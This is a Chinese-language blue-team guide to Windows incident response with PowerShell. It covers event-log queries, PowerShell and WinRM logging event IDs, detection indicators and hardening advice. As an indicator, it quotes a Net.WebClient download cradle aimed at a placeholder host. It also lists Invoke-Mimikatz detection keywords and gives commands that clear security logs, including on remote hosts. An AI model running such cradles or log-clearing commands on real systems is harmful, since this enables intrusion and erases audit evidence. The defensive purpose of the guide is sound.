WindowsPowerShell安全检查和分析
1.PowerShell与Windwos日志:
Windows应急响应处置工作,必须掌握日志的操作与备份等,才能在遇到安全事件后,第一时间定位攻击位置,提出修复方案。
<1>.列出事件日志列表:Get-Eventlog -List
<2>.查看security日志:Get-Eventlog -LogName security
<3>.列出最近几条的日志:Get-EventLog -LogName security -Newest 5 //最近5条日志
<4>.列出指定时间段内的日志:Get-EventLog -LogName security -After 2019-5-25 -Before 2019-6-1
<5>.根据事件ID列出日志:
Get-EventLog -LogName security -InstanceId 4624 //ID:4624,已成功登录帐户,登录成功的日志
Get-EventLog Security -InstanceId 4624,4625 //ID:4625,帐户登录失败
<6>.获取某一条事件日志通过index关键字段进行获取,具体的日志信息:Get-EventLog -LogName security -Index 4624
<7>.查看此条日志的一些属性:
当一条日志被获取后,我们可完全将它看作是一个对象,可直接操作:
$log = Get-EventLog -LogName security -Index 4624
类型:$log.EntryType
事件ID:$log.InstanceId
日志消息:$log.Message
事件源:$log.Source
日志产生时间:$log.TimeGenerated
产生日志的用户:$log.UserName
<8>.删除事件日志:
Remove-Eventlog,包括注销事件源;
Remove-EventLog -LogName security;
Remove-EventLog -Source app:注销事件源后,app将无法写入事件日志。
<9>.清除日志:
Clear-Eventlog -LogName security 仅仅清除日志;
Clear-Eventlog -LogName security -computername localhost, Server-Police 清除远程主机上面的日志
<10>.Get-EventLog -LogName system -Source user32 //来源为USER32 的系统日志;
<11>.Get-EventLog -LogName system -Source user32 | group EventID //按EventID将事件进行分组;
<12>.Get-EventLog -LogName system -Source user32 -Newest 1 | fl * //Format-List cmdlet来格式化输出,fl是Format-List 的别名;
<13>.Get-EventLog -LogName system -Source user32 | Select TimeGenerated, Message //只对关机事件的生成时间(TimeGenerated)和消息(Message)感兴趣;
<14>.Get-EventLog -LogName system -Source user32 | Select TimeGenerated, Message | sort message //按关机事件的发起进程分类排序;
<15>.Get-EventLog -LogName system -Source user32 | Select TimeGenerated, Message | sort message | ft -Wrap//Message 列的输出太长,需要整理。
2.PowerShell日志记录:
<1>.PowerShell提供事件记录功能,可以协助蓝队对相关攻击事件推断和关联性分析;在执行任何PowerShell命令或脚本时,无论是本地还是通过远程处理,Windows都可以将事件写入以下三个日志文件:
Windows PowerShell.evtx;
Microsoft-Windows-PowerShell/Operational.evtx;
Microsoft-Windows-PowerShell/Analytic.etl;
<2>.由于PowerShell通过Windows远程管理(WinRM)服务实现其远程处理功能,因此以下两个事件日志还捕获远程PowerShell活动:
Microsoft-Windows-WinRM/Operational.evtx;
Microsoft-Windows-WinRM/Analytic.etl;
<3>.Analytic日志记录了更多的信息,可定位错误发生位置,但Analytic日志如果启用(默认情况下禁用)在生产环境中将产生大量记录数据,可能会妨碍实际分析。
wevtutil Set-Log "Microsoft-Windows-PowerShell/Analytic" /q:true /e:true(打开analytic)
wevtutil Get-Log "Microsoft-Windows-PowerShell/Analytic"(读取日志内容)
在“事件查看器”中查看日志:搜索“cmd”,以管理员身份打开Windows命令行界面-->输入“eventvwr.msc”打开日志查看器-->后续操作如图:
<4>.Windows PowerShell日志:
事件ID及其对应的内容:
事件ID 400:引擎状态从无更改为可用,记录任何本地或远程PowerShell活动的开始;
事件ID 600:记录类似“WSMan”等提供程序在系统上进行PowerShell处理活动的开始,e.g.:Provider WSMan IsStarted;
事件ID 403:引擎状态从可用状态更改为停止,记录PowerShell活动结束;
EID 400、EID 403事件:
记录包括HostName字段。
如果在本地执行,则字段将记录为HostName = ConsoleHost。
如果使用PowerShell远程处理,则访问的系统将使用HostName = ServerRemoteHost记录事件。
通过上述事件日志,分析确定PowerShell会话持续时间以及本地运行或远程运行。
Analytic分析日志:
分析日志须开启才可捕获事件,且用于故障排除,不是长期安全审计。处于活动状态时,涉及远程命令执行安全相关事件ID:
事件ID 32850:远程处理进行身份验证的帐户;
事件ID 32867/32868:记录在PowerShell远程处理期间进行的每个PowerShell输入和输出对象,包括协议、版本协商、命令I/O对象在表示为“有效负载数据”的字段中存储为XML编码的十六进制字符串,并且到期长度通常在多个日志消息中分段。
事件ID 142:如果远程服务器禁用了WinRM,则客户端在尝试启动远程Shell连接时将产生该记录。
<5>.检查和分析PowerShell日志时,应重点关注的活动:
通过.Net下载 (New-Object Net.WebClient.DownloadString('http://bad.usa.hold'));
Invoke-Expression或者iex;
BITS的活动;
计划任务的创建或删除;
PowerShell的远程连接功能。
<6>.检测PowerShell攻击代码的最佳方法是查找代码关键指示符.
Invoke-Mimikatz事件日志关键词:
“System.Reflection.AssemblyName”
“System.Reflection.Emit.AssemblyBuilderAccess”
“System.Runtime.InteropServices.MarshalAsAttribute”
“TOKEN_PRIVILEGES”
“SE_PRIVILEGE_ENABLED”
<7>.对于混淆的PowerShell来说,应该开发自定义规则:
查找大量的括号{};
寻找大量的引号";
这两种方法都被大量使用在混淆技术中,通常被恶意代码、木马或普通管理员使用。
3、PowerShell企业安全建议:
企业中如无PowerShell管理工具使用需求场景,可考虑配置禁用或限制相应的权限和功能。
针对企业而言,攻击者利用PowerShell结合钓鱼邮件实施的Office宏攻击也会带来严重的安全威胁。企业可默认禁用Office宏功能,以阻断攻击入口。
企业应及时修复系统安全漏洞和应用程序安全漏洞,防止被黑客利用执行远程代码攻击,从而阻断攻击入口。
PowerShell通常还会结合WMI启动项进一步实现长期无文件驻留,可使用Autoruns之类的工具查看是否有可疑启动项并加以清理。
企业可定期监控系统中模块活动和网络流量,进一步发现异常信息排除安全威胁。
在正常情况下,通过使用AppLocker+Device Guard可以防止普通用户使用PowerShell。Device Guard也适用于Windows 10和Windows Server 2016,可以通过利用支持的高级硬件功能来加强受约束的语言模式和应用白名单。.